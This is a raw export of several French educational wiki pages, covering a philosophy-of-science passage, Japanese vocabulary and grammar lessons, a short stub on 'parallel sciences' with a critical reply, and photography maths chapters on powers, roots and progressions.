moléculaire, apparaît la discontinuité : le volume mesuré sera le plus souvent vide et il faudra conclure que la densité de l'air y est nulle. Une fois sur mille environ, la mesure atteindra une molécule d'air et, par conséquent la densité de l'air, à ce point, y sera beaucoup plus élevée ( = densité vraie de l'air) . L'écart entre les mesures, nulle (ou pratiquement) dans le cas des mesures macroscopiques, s'élèvera au fur et à mesure que la précision de la mesure augmentera: à l'échelle atomique, l'écart se comptera en millions de fois ! Il faut donc admettre que : :"''La connaissance touchant la densité de l'air se résout en une multiplicité d'énoncés qui sont incompatibles absolument et ne sont rendus compatibles que s'ils sont relativisés par rapport à l'échelle choisie par l'énonciateur. D'autre part, à certaines échelles, l'énoncé de la mesure ne se résout plus en une assertion simple, mais en une assertion modalisée du type : il est plausible que la densité soit égale à zéro, mais non exclu qu'elle soit de l'ordre de 10n, n étant très élevé''". On pourrait multiplier les exemples. L'important est de voir comment la recherche scientifique contemporaine ne privilégie plus le modèle de la fonction continue à dérivée, ne le considère plus comme le paradigme de la connaissance scientifique et de la prévision. La science n'apparaît plus comme ce qui, d'une manière continue, accumule le savoir. AU contraire, il semble bien que ce que produit effectivement la science contemporaine, c'est "non pas du connu, mais de l'inconnu". De même, l'examen philosophique des procédures scientifiques a montré qu'il était abusif de parler de "vérification" ; ce qui permet à la science de produire du savoir certain, ce serait davantage la "falsification" : rendre faux une hypothèse anciennement établie. De telles considérations nous ramènent à ce que nous disions de G. Bachelard : l'activité scientifique, essentiellement agonistique, s'établit toujours en surmontant un obstacle épistémologique. Alors que la culture tente avant tout à conserver le connu, la science s'efforce de faire apparaître l'inconnu, l'inattendu. :"''La spécificité de la science tient dans le fait de son imprévisibilité. Là où les systèmes culturels spécifient le connu, la science temporalise l'espace des connaissances, laissant derrière elle des systèmes explicatifs moribonds, privés de l'immuabilité du temps grâce à quoi ils garantissaient l'ordre des choses''". D'Une telle recherche scientifique, d'abord attentive aux instabilités, aux relativisations, à l'effort de falsification, le modèle adéquat de légitimation n'est plus "''Celui de la meilleure performance mais celui de la différence comprise comme parologie''". Pour comprendre cela, il faut revenir, me semble-t-il, au sens premier du mot "paralogie" : il s'agit d'un discours ("logos", "loqie") en situation "para", c'est-à-dire marqinale, parallèle. Il s'agit en fait de produire, à coté (para) du discours canonique, paradigmatique, de la science standard, d'autres discours qui font venir au jour d'autres manières de voir les choses. Une telle légitimation de l'activité scientifique privilégiera le dissentiment sur le consensus. Ce dernier existe, c'est évident. Il signe la canonisation d'un corpus scientifique. Mais à plus ou moins long terme, il y a toujours un événement, une personne qui introduit le dissentiment: le système paradigmatisé est alors déstabilisé, pour permettre à une autre intelligence de faire sens. Une telle légitimation suppose, évidemment que la pragmatique scientifique n'obéisse pas au modèle systémique. :"''Pour autant qu'elle est différenciante, la science dans sa pragmatique, offre l'anti-modèle du système stable. Tout énoncé est à retenir du moment qu'il comporte de la différence avec ce qui est su, et qu'il est argumentable et prouvable. Elle est un modèle de "système ouvert" dans lequel la pertinence de l'énoncé est qu'il donne naissance à des idées, c-à-d à d'autres énoncés et à d'autres règles du jeu''". Japonais:Vocabulaire Saisons 5005 20453 2005-09-02T12:45:22Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. == Saisons (季節) == {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Les quatre saisons | [http://ja.wikipedia.org/wiki/%E5%9B%9B%E5%AD%A3 四季] | しき | ''shiki'' |- | Les quatre saisons¹ | [http://ja.wikipedia.org/wiki/%E6%98%A5%E5%A4%8F%E7%A7%8B%E5%86%AC 春夏秋冬] | しゅんかしゅうとう | ''shunkashuutou'' |- | Saison | [http://ja.wikipedia.org/wiki/%E5%AD%A3%E7%AF%80 季節] | きせつ/シーズン | ''kisetsu/shi-zun'' |- | Printemps | [http://ja.wikipedia.org/wiki/%E6%98%A5 春] | はる | ''haru'' |- | Été | [http://ja.wikipedia.org/wiki/%E5%A4%8F 夏] | なつ | ''natsu'' |- | Automne | [http://ja.wikipedia.org/wiki/%E7%A7%8B 秋] | あき | ''aki'' |- | Hiver | [http://ja.wikipedia.org/wiki/%E5%86%AC 冬] | ふゆ | ''fuyu'' |- | Saison sèche | [http://ja.wikipedia.org/wiki/%E4%B9%BE%E5%AD%A3 乾季] | かんき | ''kanki'' |- | Saison des pluie | [http://ja.wikipedia.org/wiki/%E9%9B%A8%E5%AD%A3 雨季] | うき | ''uki'' |} # Dire les quatre saisons ensemble (La lecture est en 音読み ''on'yomi'') ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Japonais:Pronoms 5006 20504 2005-09-03T12:40:01Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. {| |+ Pronom personnel|Pronoms personnels formels |- | je || '''watakushi (watashi)¹²''' || 私 |- | tu || '''anata ¹''' || あなた |- | il || ''kare'' || かれ |- | elle || ''kanojo'' || かのじょ |- | nous || ''watashitachi'' || 私たち |- | vous || ''anatagata (anatatachi)³'' || あなた方(あなたたち) |- | ils || ''karera (karetachi)'' || かれら(かれたち) |- | elles || ''kanojotachi'' || かのじょたち |} ¹: seul ces deux pronoms sont utilisés les autres restent très rares. ²: "watakushi" est la forme humble du pronom "watashi", utilisant le même kanji. ³: "anatagata" est une forme légère plus respectueuse de "anatatachi". == Pronoms personnels divers == === Je === {| | '''Pronom personnel'''||'''Kanji'''||'''Utilisateur''' |- | boku || 僕 || Jeune garçon, jeune homme |- | anatashi || 私 || Femme (formel) |- | atakushi || 私 || Femme (formel, humble) |- | ore || 俺 || Macho, personne sûre de soi, de sa supériorité (homme, en général) |- | washi || 儂 || Homme agé |- | waga || 我が || Personne remplissant des papiers administratifs |} === Tu === {| | '''Pronom personnel'''||'''Kanji'''||'''Utilisateur''' |- | anta || あんた || Personne proche, plus agée ou de niveau social supérieur |- | kimi || 君 || Utilisateur de "boku", personne de niveau social supérieur |- | otaku || お宅 || Personne respectueuse ou moqueuse... |- | omae || お前 || Utilisateur de "ore", personne aggressive envers ce "tu" |- | kisama || 貴様 || Quelqu'un qui cherche à se battre, ou un soldat agé de la marine japonaise (en ce cas, respectueux) |- | temae, temee || 手前 || Quelqu'un en train de se battre... |- | onore || 己 || Identique à temee |} == Utilisation du pronom "tu" == De manière générale, on évitera l'utilsation du pronom "tu", réservé aux relations proches (ami d'enfance, petite amie). On utilisera le titre ou le nom de l'interlocuteur à la place, ou l'on se contentera si possible de sous-entendre que l'on parle de son interlocuteur courant. Exemple: おげんき ですか。 et non あなた は おげんき ですか。 (Dans les deux cas: "Comment vas-tu?", bien que la première pourrait également être "Comment vas-t-il?", "Comment allez-vous vous tous?"...) On notera que l'usage tend à baisser le niveau de politesse des pronoms. C'est par exemple le cas actuellement pour "otaku". De la même façon, "omae" signifie textuellement "l'honorable en face de moi" et "kisama", "l'honorable" ou "l'estimable" auquel s'ajoute le suffixe de grand respect "-sama". == Pronom pluriel == Les pluriels se forment avec les suffixes "-tachi" ou "-ra". De manière générale, et à l'exception notable de "kare", "-tachi" est légèrement plus poli que "-ra". De fait, on recontrera "-ra" surtout avec des pronoms insultants tel que "omaera", "teemera". On notera également la particularité "anatagata", composé du terme respectueux pour "personne". {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] [[en:Japanese:Pronouns]] Japonais:Leçon5 5007 24322 2005-10-26T22:06:46Z 86.199.57.174 /* どこ (où) */ {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon4|<< Leçon 4]] | Leçon 5 | [[Japonais:Leçon6|Leçon 6 >>]] = Leçon 5 = == Introduction == Les mots interrogatifs ; après avoir fait quelques leçons le temps d'apprendre des mots; les choses plus utiles commencent. =どこ (où)= "どこ"="doko"= où, il ne se place pas que rarement en premier dans une phrase mais plus souvent après l'endroit recherché (ex:yama ha doko desu ka). par exemple : *市はどこですか (shi ha doko desu ka)= la ville est où ? **市=shi= la ville (le marché mais dans d'autres cas) *わたしはどこですか (watashi ha doko desu ka): je suis où ? *電話はどこですか (denwa ha doko desu ka): le téléphone est où ? **電話= le téléphone. *どこにいきますか (doko ni ikimasu ka): où vas-tu ? == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Français : *ここはどこですか: ... *そこはどこですか: ... Traduire en japonais (pas en rōmaji si possible) : *La France est où ?: ... *Tu es où ?: ... =だれ (qui)= "だれ"="dare"= qui, il ne se place premier dans une phrase interrogative mais peut avoir une autre place (ex: dare desu ka). par exemple : *だれですか (dare desu ka): qui est-ce ? == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : =なに (quoi)= "なに"="nani"= quoi, il ne se place comme "dare" est souvent suivit de la particule "を"=o qui indique le COD (ex:nani o taberu ka ).ATTENTION "nani" devient "nan devant "desu" et d'autres particules ou suffixes grammaticaux: no, to ... par exemple : *なにをたべるか (nani o taberu ka): que manges-tu ? *なんですか (nan desu ka): c'est quoi ? *なんの本ですか (nan no hon desu ka): c'est quoi le livre ? **本=hon= un livre == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : =いつ (quand)= "いつ"="itsu"= quand, il se place comme "nani" (ex:itsu made). par exemple : *いつまで (itsu made): jusqu'à quand. *あしたいつたべるか (ashita itsu taberu ka): demain je mangerais quand ? == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : =どう (comment)= "どう"="dō"= comment, il se place comme les autres mots interrogatifs. par exemple : *どうえきにいきましたか (dō eki ni ikimashita ka): comment es-tu allé à la gare ? **えき=eki= la gare == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : =いくつ (combien)= "いくつ"="ikutsu"= combien, il se place comme les autres mots interrogatifs. par exemple : *いくついますか (ikutsu imasu ka): combien il y en a ? (d'êtres vivants) *いくつ火山がありますか (ikutsu kazan ga arimasu ka): combien il y a de volcans ? **火山=kazan= un volcan (littéralement montagne "山" de feu "火") == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : =いくら (combien pour le prix)= "いくら"="ikura"= combien (pour les prix), il se place comme les autres mots interrogatifs. par exemple : *いくらですか (ikura desu ka): combien c'est ? *車はいくらですか (kuruma ha ikura desu ka) : combien coûte la voiture ? (combien c'est la voiture) **車=kuruma= une voiture == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : =どうして - なぜ (pourquoi)= "どうして"="doshite"= pourquoi, "なぜ"="naze"= pourquoi ; "naze" est plus formel et moins souvent utilisé que "doshite" mais les deux mots sont utilisés de la même façon. Ils se placent comme les autres mots interrogatifs. par exemple : *どうしてえきにいきましたか (doshite eki ni ikimashita ka): pourquoi es-tu allé à la gare ? *ぜですか (naze desu ka): pourquoi ? == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : Traduire en japonais : = Expression courante = = [[Image:Comiclogo.png|50 px|dialogue]] Dialogue = Regardons un peu le dialogue<br /> Essayons de voir un peu de vocabulaire *電話=denwa= le téléphone *本=hon= un livre *車=kuruma= une voiture *市=shi= la ville (le marché mais dans d'autres cas) *火山=kazan= un volcan (littéralement montagne "山" de feu "火") *えき=eki= la gare = [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) = Traduire en français : Traduire en japonais : = [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise = Maintenant que vous devez connaitre les hiragana apprennez les katakana et les kanji que vous voyez dans les leçons. = Fiche vocabulaire = grammaire : [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon4|<< Leçon 4]] | Leçon 5 | [[Japonais:Leçon6|Leçon 6 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Wikiversité:Sciences parallèles 5009 29387 2006-01-19T20:12:39Z 213.44.92.49 {{ébauche}} Les '''sciences parallèles''' regroupent toutes les techniques empiriques visant à améliorer la condition humaine au même titre que la science officielle. Elles constituent une démarche [[w:Ontologie|ontologique]] certaine. Les plus connues sont la [[w:Parapsychologie|parapsychologie]] et les sciences occultes, mais ont y classe aussi des sciences comme la [[w:Cryptozoologie|cryptozoologie]]. Il faut d’abord faire la différence entre une science parallèle et une [[w:Pseudo-science|pseudo-science]]. Les termes ne sont pas neutres. La dernière dénomination est clairement péjorative et décrédibilsante, alors que la première sous-entend qu’il existe plusieurs chemins (au moins deux) pour améliorer la condition humaine (d'aucuns pourraient ajouter la [[w:Théologie|théologie]] et autres sciences de la divinité, comme la [[w:Téléologie|téléologie]] au nombre de « sentier » pour améliorer la condition humaine. C’est un réflexion certainement intéressante, mais qui nous éloigne du sujet). Entre sciences parallèles et pseudo-science, la différence est-elle simplement de point de vue, les sceptiques appellant pseudo-sciences ce que les convaincus appellent sciences parallèles&thinsp;? Pas du tout d'accord sur cet énoncé, ni sur ce titre de Sciences Parallèles: Wikipedia ne peut pas abriter ce genre d'abus. On ne peut appeler Science un processus de reflexion fondé sur la croyance, ou fondé sur des expérimentations sans protocole scientifique. Il n'y a donc pas de sciences parallèles, mais uniquement des pseudo-sciences. Image:Arbre.gif 5012 19243 2005-08-16T13:37:06Z Zulul 474 Photographie - Chapitre 01 - Un peu de mathématiques 5017 44311 2006-06-11T07:22:12Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_01}} Japonais:Vocabulaire Mois 5018 26548 2005-12-06T14:09:19Z 08pb80 897 /* Les mois */ ortho Retour à la [[Table des matières (Japonais)|table des matières]]. =Les mois= {| border="1" cellpadding="4" cellspacing="0" ![[Français]] ![[Japonais:Kanji|kanji]] ![[Japonais:Kana|kana]] ![[Japonais:Romaji|rōmaji]] |- |Janvier |[[:wikt:一月|一月]] |いちがつ |''ichigatsu'' |- |Fevrier |[[:wikt:二月|二月]] |にがつ |''nigatsu'' |- |Mars |[[:wikt:三月|三月]] |さんがつ |''sangatsu'' |- |Avril |[[:wikt:四月|四月]] |しがつ |''shigatsu'' |- |Mai |[[:wikt:五月|五月]] |ごがつ |''gogatsu'' |- |Juin |[[:wikt:六月|六月]] |ろくがつ |''rokugatsu'' |- |Juillet |[[:wikt:七月|七月]] |しちがつ |''shichigatsu'' |- |Août |[[:wikt:八月|八月]] |はちがつ |''hachigatsu'' |- |Septembre |[[:wikt:九月|九月]] |くがつ |''kugatsu'' |- |Octobre |[[:wikt:十月|十月]] |じゅうがつ |''jūgatsu'' |- |Novembre |[[:wikt:十一月|十一月]] |じゅういちがつ |''jūichigatsu'' |- |Decembre |[[:wikt:十二月|十二月]] |じゅうにがつ |''jūnigatsu'' |} *La traduction littérale serait : mois 1, mois 2, ... =Les jours du mois= {| border="1" cellpadding="4" cellspacing="0" ![[Français]] ![[Japonais:Kanji|kanji]] ![[Japonais:Kana|kana]] ![[Japonais:Romaji|rōmaji]] |- style="background-color: #eeeeee;" | |Premier |[[:wikt:一日|一日]] |ついたち |''tsuitachi'' |- style="background-color: #eeeeee;" | |Deuxième |[[:wikt:二日|二日]] |ふつか |''futsuka'' |- style="background-color: #eeeeee;" | |Troisième |[[:wikt:三日|三日]] |みっか |''mikka'' |- style="background-color: #eeeeee;" | |Quatrième |[[:wikt:四日|四日]] |よっか |''yokka'' |- style="background-color: #eeeeee;" | |Cinquième |[[:wikt:五日|五日]] |いつか |''itsuka'' |- style="background-color: #eeeeee;" | |Sixième |[[:wikt:六日|六日]] |むいか |''muika'' |- style="background-color: #eeeeee;" | |Septième |[[:wikt:七日|七日]] |なのか |''nanoka'' |- style="background-color: #eeeeee;" | |Huitième |[[:wikt:八日|八日]] |ようか |''yōka'' |- style="background-color: #eeeeee;" | |Neuvième |[[:wikt:九日|九日]] |ここのか |''kokonoka'' |- style="background-color: #eeeeee;" | |Dixième |[[:wikt:十日|十日]] |とおか |''tōka'' |- |Onzième |[[:wikt:十一日|十一日]] |じゅういちにち |''jūichinichi'' |- |Douzième |[[:wikt:十二日|十二日]] |じゅうににち |''jūninichi'' |- |Treizième |[[:wikt:十三日|十三日]] |じゅうさんにち |''jūsan'nichi'' |- style="background-color: #eeeeee;" | |Quatorzième |[[:wikt:十四日|十四日]] |じゅうよっか |''jūyokka'' |- |Quinzième |[[:wikt:十五日|十五日]] |じゅうごにち |''jūgonichi'' |- |Seizième |[[:wikt:十六日|十六日]] |じゅうろくにち |''jūrokunichi'' |- |Dix-septième |[[:wikt:十七日|十七日]] |じゅうしちにち |''jūshichinichi'' |- |Dix-huitième |[[:wikt:十八日|十八日]] |じゅうはちにち |''jūhachinichi'' |- |Dix-neuvième |[[:wikt:十九日|十九日]] |じゅうくにち (or じゅうきゅうにち) |''jūkunichi (or jūkyūnichi)'' |- |Vingtième |[[:wikt:二十日|二十日]] |はつか |''hatsuka'' |- |Vingt et unième |[[:wikt:二十一日|二十一日]] |にじゅういちにち |''nijūichinichi'' |- |Vingt-deuxième |[[:wikt:二十二日|二十二日]] |にじゅうににち |''nijūninichi'' |- |Vingt-troisième |[[:wikt:二十三日|二十三日]] |にじゅうさんにち |''nijūsan'nichi'' |- style="background-color: #eeeeee;" | |Vingt-quatrième |[[:wikt:二十四日|二十四日]] |にじゅうよっか |''nijūyokka'' |- |Vingt-cinquième |[[:wikt:二十五日|二十五日]] |にじゅうごにち |''nijūgonichi'' |- |Vingt-sixième |[[:wikt:二十六日|二十六日]] |にじゅうろくにち |''nijūrokunichi'' |- |Vingt-septième |[[:wikt:二十六日|二十六日]] |にじゅうしちにち |''nijūshichinichi'' |- |Vingt-huitième |[[:wikt:二十八日|二十八日]] |にじゅうはちにち |''nijūhachinichi'' |- |Vingt-neuvième |[[:wikt:二十九日|二十九日]] |にじゅうくにち (or にじゅうきゅうにち) |''nijūkunichi (or nijūkyūnichi)'' |- |Trentième |[[:wikt:三十日|三十日]] |さんじゅうにち |''sanjūnichi'' |- |Trente et uneième |[[:wikt:三十一日|三十一日]] |さんじゅういちにち |''sanjūichinichi'' |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Photographie - 01 - Puissances et racines des nombres 5019 32162 2006-02-09T10:48:08Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_01}} == Puissances à exposant entier positif == La notion de puissance est un cas particulier de celle de produit : par exemple le produit '''a''' × '''b''' × '''c''' est obtenu en multipliant les nombres '''a''', '''b''' et '''c'''. Considérons un nombre quelconque '''a''' et multiplions-le '''n''' fois par lui-même : <math>\N = {\underbrace{a \times a \times a \times ... a}_{n fois}}</math> Nous dirons que ce nombre '''a''' est élevé à la puissance '''n''' et nous écrirons : <math>\N = a \times a \times a \times ... a = a^n</math> par exemple la puissance cubique, ou cube, du nombre '''a''', notée '''a'''<sup>3</sup>, est le produit '''a''' × '''a''' × '''a''' qui se lit « a puissance 3 » ou encore « a au cube ». Dans cette écriture le nombre '''n''' est appelé '''exposant'''. Si par exemple a = 10, nous pourrons avoir des valeurs telles que : 10<sup>1</sup> = 10 10<sup>2</sup> = 10 × 10 = 100 10<sup>3</sup> = 10 × 10 × 10 = 1 000 etc. L'intérêt de cette écriture est évident pour les grands nombres que l'on peut toujours écrire sous la forme d'un facteur allant de 1 à 9, 9999… multiplié par une puissance de 10, par exemple : 1 000 000 000 000 = 1 × 10<sup>12</sup>= 10<sup>12</sup> 61 327 000 000 000 000 = 6, 132 7 × 10<sup>16</sup> Dans la plupart des cas, il est toutefois préférable d'utiliser des exposants multiples de 3 qui correspondent mieux aux habitudes de la numération : mille, un million, un milliard, etc. 61 327 000 000 000 000 = 61, 327 × 10<sup>15</sup> == Racines n-ièmes == Prenons maintenant le problème à l'envers. Au lieu de chercher ce qui se passe lorsque nous élevons un nombre à la puissance n, essayons de trouver quel est le nombre inconnu '''x''' qui, élevé à la puissance '''n''', donnera un autre nombre '''N''' fixé à l'avance : <math>x^n=N \,</math> Par définition, '''x''' sera appelé '''racine n-ième''' de '''N'''. Si n = 2, nous aurons affaire à une '''racine carrée''', si n = 3, à une '''racine cubique''', si n = 4, à une '''racine quatrième''', etc. La notation habituelle d'une racine est la suivante : si <math>x^n=N \,</math> alors <math>x = \sqrt[n] {N}</math> Bien entendu, la définition que nous venons de donner nous permet d'écrire : <math>( \sqrt[n] {N})^n = N</math> Pour les racines carrées, il est d'usage de ne pas préciser la valeur de n. Voici quelques exemples numériques : ::: racines carrées : <math>\sqrt {4} = 2</math> <math>\sqrt {100} = 10</math> <math>\sqrt {2} = 1,414</math> (c'est une valeur usuelle !) <math>\sqrt {3} = 1,732</math> (celle-là aussi !) ::: racines cubiques : <math>\sqrt[3] {8} = 2</math> <math>\sqrt[3] {125} = 5</math> ::: racine sixième : <math>\sqrt[6] {64} = 2</math> etc. {| border="1" cellpadding="5" cellspacing="0" |- | Remarques importantes : * sauf en faisant appel aux nombres complexes, qui sortent largement du cadre de cet exposé, '''on ne peut pas calculer la racine carrée d'un nombre négatif'''. * la racine carrée d'un nombre est <u>'''PAR DÉFINITION'''</u> un nombre positif. Ainsi, <math>\sqrt {4} = 2</math> et non pas <math>-2 \,</math> |- |} == Produits de puissances == Cherchons à calculer le produit de puissances différentes d'un même nombre : <math>a^m \times a^n = \underbrace {a \times a \times ... a}_{m fois} \times \underbrace {a \times a \times ... a}_{n fois} = \underbrace {a \times a \times ... a}_{m+n fois} = a^{m+n}</math> {| border="1" cellpadding="5" cellspacing="0" align="center" |- | Retenons que <math>a^m \times a^n = a^{m+n} \,</math> |- |} Par exemple : 10<sup>2</sup> × 10<sup>3</sup> = 100 × 1 000 = 100 000 = 10<sup>5</sup> = 10<sup>2+3</sup> == Quotient de puissances == Calculons maintenant le quotient de puissances différentes d'un même nombre: <math>\frac{a^m}{a^n} = \frac{\overbrace {a \times a \times ... a}^{m fois}}{\underbrace {a \times a \times ... a}_{n fois}} = a^{m-n}</math> Si m > n, l'exposant est positif, si m = n, l'exposant est nul et le rapport vaut 1 si m < n, l'exposant est négatif. Par exemple : <math>\frac{10^5}{10^3} = \frac{100 000}{1 000} = 100 = 10^2 = 10^{5-3}</math> <math>\frac{10^2}{10^5} = \frac{100}{100 000} = 10^{2-5} = 10^{-3} = \frac{1}{1000} = \frac{1}{10^3}</math> {| border="1" cellpadding="5" cellspacing="0" align="center" |- | Notons au passage que <math>a^{-n} = \frac{1}{a^n}</math> <br> et retenons que <math>\frac{a^m}{a^n} = a^m \times a^{-n} = a^{m-n}</math> |- |} Nous pouvons désormais écrire toutes les puissances d'un nombre, par exemple 10, sous une forme unique : ... 10<sup>3</sup> = 1 000 <sup></sup> 10<sup>2</sup> = 100 10<sup>1</sup> = 10 10<sup>0</sup> = 1 10<sup>-1</sup> = 1 / 10 = 0,1 10<sup>-2</sup> = 1 / 100 = 0,01 10<sup>-3</sup> = 1 / 1 000 = 0,001 ... '''Remarques :''' * '''puissances à exposant nul''' : pour tout nombre '''a''' non nul, on pose par convention que '''a'''<sup>0</sup> = 1. Dans la plupart des cas on admet que c'est vrai également pour ''a'' = 0, et donc que 0<sup>0</sup> = 1 mais dans certaines circonstances on doit considérer que 0<sup>0</sup> est un nombre indéfini. * '''puissances à exposant négatif''' : on considère maintenant un nombre '''a''' non nul et un entier naturel ''n''. Le nombre '''a'''<sup>-''n''</sup>, lu « '''a''' puissance moins ''n'' », est l'inverse de la puissance n-ième de '''a''', c'est-à-dire : <center><math>a^{-n}=\frac{1}{a^{n}}</math></center> : On comprend qu'il faut exclure 0 de cette définition car l'inclure reviendrait à diviser par 0, ce qui est impossible : Attention, une puissance de '''a''' à exposant négatif n'est pas forcément négative ; par exemple 3<sup>-4</sup>, l'inverse de la puissance quatrième de 3, est bien une puissance à exposant négatif, car -4 est un entier négatif, mais : <center><math>3^{-4}=\frac{1}{3^4}=\frac{1}{3\times3\times3\times3}=\frac{1}{81}>0</math></center> == Puissances d'une puissance == Cherchons enfin à calculer la puissance d'une puissance : <math>(a^m)^n = \overbrace {{\underbrace {a \times ... a}}_{m fois} \times {\underbrace {a \times ... a}}_{m fois} ... \times {\underbrace {a \times ... a}}_{m fois}}^{n fois} = \underbrace{a \times ... a}_{m \times n fois}</math> {| border="1" cellpadding="5" cellspacing="0" align="center" |- | Il en résulte que <math>(a^m)^n = a^{mn} \,</math> |- |} Par exemple : (2<sup>3</sup>)<sup>2</sup> = 8<sup>2</sup> = 64 = 2<sup>3×2</sup> = 2<sup>6</sup> Cette dernière formule nous permet de noter autrement les racines d'un nombre, car si les exposants sont tels que m = 1/n, il en résulte que mn = 1 et l'on peut alors écrire : <math>(a^{\frac{1}{n}})^n = a^1 = a</math> <math>a^{\frac{1}{n}}</math> n'est autre que la racine n-ième de a. {| border="1" cellpadding="5" cellspacing="0" align="center" |- | D'où <math>\sqrt[n]{a} = a^{\frac{1}{n}}</math> |- |} Par exemple : <math>\sqrt{2} = 2^{\frac{1}{2}} = 2^{0,5} \approx 1,414</math> == Formulaire == * produit de puissances : <math>a^m\times{a}^{n}=a^{m+n} \,</math> * quotient de puissances : <math>\frac{a^m}{a^n}=a^{m-n} \,</math> pour tout <math>a \,</math> non nul * puissance d'une puissance : <math>(a^m)^n=a^{m\times{n}} \,</math> * puissance d'une produit : <math>(a\times b)^n= a^n\times b^n \,</math> * puissance d'un quotient : <math>\left(\frac{a}{b}\right)^n=\frac{a^n}{b^n}</math> pour tout <math>b \,</math> non nul * produit d'une puissance par son inverse : <math>a^n\times{a}^{-n}={a^n}\times\frac{1}{a^n}=\frac{a^n}{a^n}=a^{n-n}=a^0=1</math> {{Photo_01}} Japonais:Vocabulaire Nombres 5021 41980 2006-05-11T19:19:20Z 84.5.206.119 Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Zero | [[wiktionary:fr:ゼロ|ゼロ]] / [[wiktionary:fr:零|零]] / [[wiktionary:fr:〇|〇]] | ぜろ / れい | ''zero / rei'' |- | Un | [[wiktionary:fr:一|一]] | いち | ''ichi'' |- | Deux | [[wiktionary:fr:二|二]] | に | ''ni'' |- | Trois | [[wiktionary:fr:三|三]] | さん | ''san'' |- | Quatre | [[wiktionary:fr:四|四]] | し / よん | ''shi/yon'' |- | Cinq | [[wiktionary:fr:五|五]] | ご | ''go'' |- | Six | [[wiktionary:fr:六|六]] | ろく | ''roku'' |- | Sept | [[wiktionary:fr:七|七]] | なな/しち | ''nana/shichi'' |- | Huit | [[wiktionary:fr:八|八]] | はち | ''hachi'' |- | Neuf | [[wiktionary:fr:九|九]] | きゅう | ''kiyuu'' |- | Dix | [[wiktionary:fr:十|十]] | じゅう | ''ziyuu'' |- | Onze | [[wiktionary:fr:十一|十一]] | じゅういち | ''ziyuuichi'' |- | Douze | [[wiktionary:fr:十二|十二]] | じゅうに | ''ziyuuni'' |- | Treize | [[wiktionary:fr:十三|十三]] | じゅうさん | ''ziyuusan'' |- | Vingt | [[wiktionary:fr:二十|二十]] | にじゅう | ''niziyuu'' |- | Vingt et un | [[wiktionary:fr:二十一|二十一]] | にじゅういち | ''niziyuuichi'' |- | Trente | [[wiktionary:fr:三十|三十]] | さんじゅう | ''sanziyuu'' |- | Trente et cinq | [[wiktionary:fr:三十五|三十五]] | さんじゅうご | ''sanziyuugo'' |- | Quarante | [[wiktionary:fr:四十|四十]] | よんじゅう | ''yonziyuu'' |- | Cinquante | [[wiktionary:fr:五十|五十]] | ごじゅう | ''goziyuu'' |- | Soixante | [[wiktionary:fr:六十|六十]] | ろくじゅう | ''rekuziyuu'' |- | Soixante-dix | [[wiktionary:fr:七十|七十]] | ななじゅう | ''nanaziyuu'' |- | Quatre-vingt | [[wiktionary:fr:八十|八十]] | はちじゅう | ''hachiziyuu'' |- | Quatre-vingt-dix | [[wiktionary:fr:九十|九十]] | きゅうじゅう | ''kiyauziyuu'' |- | Cent | [[wiktionary:fr:百|百]] | ひゃく | ''hiyaku'' |- | Mille | [[wiktionary:fr:千|千]] | せん | ''sen'' |- | Dix mille | [[wiktionary:fr:万|万]] | まん | ''man'' |- | Un million | [[wiktionary:fr:百万|百万]] | ひゃくまん | ''hiyakuman'' |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] *[[w:Numération japonaise|La Numération japonaise sur Wikipédia]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary_Numbers]] Photographie - 01 - Progressions arithmétiques et géométriques 5024 32163 2006-02-09T10:49:06Z Jean-Jacques MILAN 114 ajout modèle {{Photographie}} {{Photo_01}} En photographie, beaucoup de choses varient de façon continue ou discontinue : le passage du blanc au noir sur une photo monochrome, du bleu au jaune sur une photo en couleurs, la mise au point de l'objectif, le flux de lumière qui le traverse, le temps de pose, la sensibilité des films, l'éclairement du sujet, ... Certaines de ces grandeurs peuvent être mesurées car elles sont liées à des phénomènes physiques ou chimiques bien définis. D'autres dépendent étroitement des sens humains, leur évaluation est plus difficile et fait même parfois appel à des notions très subjectives. Pour obtenir une image conforme à ses espérances, un bon photographe doit connaître ces phénomènes et leurs variations. Même quand il ne maîtrise pas tout et qu'il doit compter un peu sur la chance, il est censé ne jamais photographier au hasard ... Un peu de précision ne nuit donc jamais. On appelle '''progression arithmétique''' une suite de nombres telle que chacun s'obtient en ajoutant au précédent une 